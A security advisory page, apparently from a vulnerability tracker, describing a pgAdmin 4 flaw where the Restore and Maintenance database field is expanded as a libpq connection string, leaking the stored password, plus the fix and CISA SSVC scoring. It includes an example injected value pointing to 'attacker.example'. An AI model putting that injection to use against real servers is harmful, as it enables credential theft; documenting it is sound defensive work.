A fix is referenced (a reference tagged "Patch", often a source commit), but no release containing it is confirmed — find the release that contains it; until it is applied, mitigate (WAF / firewall / segmentation).
pgAdmin 4's Restore and Maintenance tools passed the client-supplied 'database' field directly as the value of the --dbname option given to pg_restore and psql. libpq expands a database name containing an equals sign into a full connection string, and connection keywords embedded in that value take precedence over the --host and --port arguments that pgAdmin supplies. A value such as 'host=attacker.example port=5432 dbname=x' therefore redirected the utility to a server chosen by the requesting user rather than the server the operation was invoked against. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection presents that credential to the attacker-nominated endpoint, which may capture it. The redirection additionally permits outbound connections from the pgAdmin host to arbitrary network addresses, including hosts not otherwise reachable by the requesting user.
The behaviour is reachable by any authenticated user holding the tools_restore or tools_maintenance permission, both of which the default User role grants. The Maintenance tool was not affected in the earliest releases, where the value was wrapped by a quoting helper that incidentally prevented expansion; it became affected when that wrapper was removed.
The fix supplies the target database in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. Where pg_restore requires a --dbname argument to be present, an empty value is passed, which contains no equals sign and is therefore not expanded, while the real name is taken from the environment.
This issue affects pgAdmin 4: from the introduction of the --dbname argument in the Restore and Maintenance tools before 9.18.
What the EG score is made of (scorer v4.0: the three questions the 0–10 score mixes, published apart · methodology)
The EG score (6.5): severity, escalated by confirmed exploitation. This CVE's 6.5 is its impact severity (EG Severity), not escalated.

SSVC (CISA's decision table, applied by EchelonGraph)Track at every mission impact level.
A fix is referenced, but no release containing it is confirmed. Check the referenced fix and the vendor's advisory for a release that contains it; until one is applied, restrict network exposure of the affected system or apply the vendor's mitigation on your normal schedule.
Exploitation none (CISA Vulnrichment) · Automatable no (CISA Vulnrichment) · Technical impact partial (CISA Vulnrichment). All three are CISA's SSVC values (Vulnrichment). EchelonGraph applied CISA's decision table to them; CISA publishes SSVC inputs and the table, not a decision for each CVE. Mission impact is CISA's Mission & Well-being decision point, and only you can judge it. CISA's table makes it high when Mission Prevalence is Essential — the vulnerable component "directly provides capabilities that constitute at least one MEF for at least one entity" (MEF: mission essential function) — or when Public Well-Being Impact is Irreversible: "multiple fatalities are likely", the cyber-physical system "is likely lost or destroyed", "extreme or serious externalities" are imposed on other parties, or social systems such as elections or the financial grid "are destabilized and potentially collapse".
